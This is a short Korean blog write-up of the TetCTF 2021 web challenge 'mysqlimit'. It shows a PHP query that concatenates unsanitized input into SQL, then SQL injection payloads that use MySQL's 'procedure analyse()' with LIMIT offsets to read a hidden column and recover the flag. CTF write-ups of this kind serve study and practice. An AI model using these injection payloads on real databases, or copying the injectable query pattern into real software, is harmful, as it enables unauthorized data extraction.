딩굴댕굴

[TetCTF 2021] WEB - mysqlimit

by jennysgap

BOX

Challenge:

 

Code:

 

# flag_here_hihi 테이블의 모든 필드를 조회, 그 중 id 값이 'input'인 레코드만을 출력
$query = "select * from flag_here_hihi where id=".$id;

# fetch_array()함수를 통해 선택된 레코드 중 2번째 필드 값만 출력
$res = $run_query->fetch_array()[1];

 

id에 1, 2, 3을 입력해보자.
handsome_flag, ugly_flag, amazing_goodjob_flag 값이 출력된다.

그렇다면 테이블이 아래와 같다고 추측해볼 수 있다.

 

table name = flag_here_hihi

id (?) 플래그의 이름 (?) 플래그 값
1 handsome_flag  
2 ugly_flag  
3 amazing_goodjob_flag  


여기서 핵심은 세번째 column 값을 어떻게 가져오냐다.
MySQL에서는 procedure analyse() 함수를 이용하면 가져올 수 있다.

id=1 limit 0,1 procedure analyse() #get first column 
id=1 limit 1,1 procedure analyse() #get second column 
id=1 limit 2,1 procedure analyse() #get third column 

 

Payload:

1 limit 2,1 procedure analyse()

 

Flag:

TetCTF{_W3LlLlLlll_Pl44yYyYyyYY_<3_vina_*100*28904961445554#}

반응형

'BOX' 카테고리의 다른 글

[Christmas 2020] REVERSING - screw_driver  (0) 2021.01.08
[Christmas 2020] REVERSING - lock  (0) 2021.01.07
[TetCTF 2021] WEB - Super Calc  (0) 2021.01.05
[TetCTF 2021] WEB - HPNY  (0) 2021.01.05
공개키 암호 방식(RSA)  (0) 2020.12.15

블로그의 정보

jennysgap

jennysgap

활동하기